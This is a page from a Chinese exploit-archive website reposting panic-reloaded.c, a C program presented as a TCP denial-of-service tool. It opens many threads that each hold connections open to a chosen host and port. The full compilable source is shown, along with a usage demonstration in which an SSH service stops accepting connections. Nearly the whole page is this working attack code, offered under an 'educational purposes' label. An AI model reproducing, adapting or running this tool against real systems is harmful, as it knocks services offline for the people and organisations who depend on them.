首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
panic-reloaded TCP Denial of Service Tool
来源:www.gotfault.net 作者:hash 发布时间:2006-04-14  

/* -----------------------------------------------------------------------------
* ______________________________ __________
* __ ____/_ __ \__ __/__ __/_____ ____ ____ /_ /_
* _ / __ _ / / /_ / __ /_ _ __ / / / /_ /_ __/
* / /_/ / / /_/ /_ / _ __/ / /_/ // /_/ /_ / / /_
* \____/ \____/ /_/ /_/ \__,_/ \__,_/ /_/ \__/
* Security Community
*
* -----------------------------------------------------------------------------
*
* Software for educational purposes
*
* panic-reloaded.c written by hash <hash AT gotfault DOT net>
* <www.gotfault.net>
*
* Description: TCP Denial Of Service Tool. panic-reloaded does
* not require large link or fast internet connection,
* it creates many pthreads, leaving openned connections
* to victim host. It is fast and an efficient way to
* deny a TCP service.
*
* Tested against SSH, FTP, HTTP.
*
* TTY1:
* hash@scarface:~$ gcc -lpthread panic-reloaded.c -o panic-reloaded -Wall
* hash@scarface:~$ ./panic-reloaded3 10.10.10.2 22 20 100 10
* panic-reloaded.c
* written by hash <http://gotfault.net>
* [!] Target: localhost:443
* [!] Threads: 20 for each round
* [*] Countdown: 40 | [!] Sleeping: 10s
*
* TTY2:
* hash@scarface:~$ ssh localhost
* ssh_exchange_identification: Connection closed by remote host
* hash@scarface:~$
*
*
* Greets to folks from gotfault, rfdslabs, tripbit
* and to friends out there.
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <pthread.h>

#define AUTHOR "written by hash <http://gotfault.net>"

void usage(char*);
void sockz(void*);
void header();
void close_func(void *);
char *resolver(char*);

struct pthread_args {

char *host_pthread;
char *port_pthread;
char *slp_pthread;

};struct pthread_args thread_data_array[1];

struct pthread_close {

char *slp_pthread;
int sock_pointer;

};struct pthread_close thread_data[0];

void usage(char *progname) {

header();
printf("Use: %s host port threads rounds sleep_time\n",progname);
printf("host: ip address or hostname\n");
printf("port: victim port\n");
printf("threads: number of threads\n");
printf("rounds: number of reloads, min 40\n");
printf("sleep_time: sleep time between each round\n");
exit(0);

}

void header() {

printf("panic-reloaded.c\n");
printf("%s\n",AUTHOR);

}

void close_func(void *c) {

struct pthread_close *my_close;

char *slp_tmp;
int slp,
err,
sock_p;

my_close = (struct pthread_close *) c;
slp_tmp = my_close->slp_pthread;
sock_p = my_close->sock_pointer;

slp = atoi(slp_tmp);

sleep(slp+1);

if((err = close(sock_p)) < 0) {
printf("close_func: Can`t close socket\n");
exit(-1);
}


}

void sockz(void *t) {

struct sockaddr_in dest;
struct pthread_args *my_data;
pthread_t close_them_all;

char *h,
*p_tmp,
*slp_tmp;

int p,
con,
err,
desc,
slp;

my_data = (struct pthread_args *) t;

h = my_data->host_pthread;
p_tmp = my_data->port_pthread;
slp_tmp = my_data->slp_pthread;

p = atoi(p_tmp);
slp = atoi(slp_tmp);

desc = socket(AF_INET,SOCK_STREAM,0);

if((desc = socket(AF_INET,SOCK_STREAM,0)) < 0) {
perror("sockz: Can`t create socket\n");
exit(-1);
}

dest.sin_family = AF_INET;
dest.sin_port = htons(p);
dest.sin_addr.s_addr = inet_addr(h);
bzero(&(dest.sin_zero),8);

con = connect(desc,(struct sockaddr *)&dest,sizeof(dest));

if(con < 0) {
printf("\nsockz: Can`t connect to %s:%d\n",h,p);
close(desc);
exit(-1);
}

thread_data[0].sock_pointer = desc;
thread_data[0].slp_pthread = slp_tmp;

if((err = pthread_create(&close_them_all,NULL,(void*)&close_func,\
(void*)&thread_data[0]) == -1)) {
printf("sockz: Can`t create thread\n");
exit(-1);
}

}

char *resolver(char *hosttmp){

struct hostent *h;

char *host;

h = gethostbyname(hosttmp);

if(!h) {
printf("resolver: Can`t resolve hostname %s\n",hosttmp);
exit(-1);
}

host = inet_ntoa(*((struct in_addr *)h->h_addr_list[0]));

return host;
}


int main(int ac, char **av) {

if(ac<6)
usage(av[0]);

int x,
y,
z,
err;

char *hosttmp,
*port,
*host,
*slp;

int sockets,
rounds,
slptime,
countdown;

hosttmp = av[1];
port = av[2];
sockets = atoi(av[3]);
rounds = atoi(av[4]); countdown = rounds;
slp = av[5];
slptime = atoi(slp);

if(rounds<40)
usage(av[0]);

host = resolver(hosttmp);

pthread_t threads[rounds];

header();

printf("[!] Target: %s:%s\n",host,port);
printf("[!] Threads: %d for each round\n",sockets);

for(z=0;z<rounds;z++) {
for(x=0;x<sockets;x++) {
thread_data_array[x].host_pthread = host;
thread_data_array[x].port_pthread = port;
thread_data_array[x].slp_pthread = slp;

if((err = pthread_create(&threads[x],NULL,(void*)&sockz,\
(void*)&thread_data_array[x])) == -1){
printf("main: Can`t create thread\n");
exit(-1);
}

for(y=0;y<sockets;y++)
pthread_join(threads[y],NULL);

}
printf("[*] Countdown: %d | [!] Sleeping: %ds\n",countdown--,slptime);
sleep(slptime);
}
printf("Done!\n");

return 0;
}
/*oef*/



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·quizz <= 1.01 (quizz.pl) Re
·PAJAX <= 0.5.1 Remote Code
·Censtore <= 7.3.x (censtore
·phpBB admin 2 remote exec expl
·vBulletin ImpEx <= 1.74 Rem
·phpWebSite <= 0.10.2 (hub_d
·Mozilla Firefox <= 1.5.0.1
·SysInfo 1.21 (sysinfo.cgi) Rem
·PHP121 Instant Messenger <=
·PHP Album <= 0.3.2.3 Remote
·Sphider <= 1.3 (configset.p
·Novell Messenger Server 2.0 (A
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved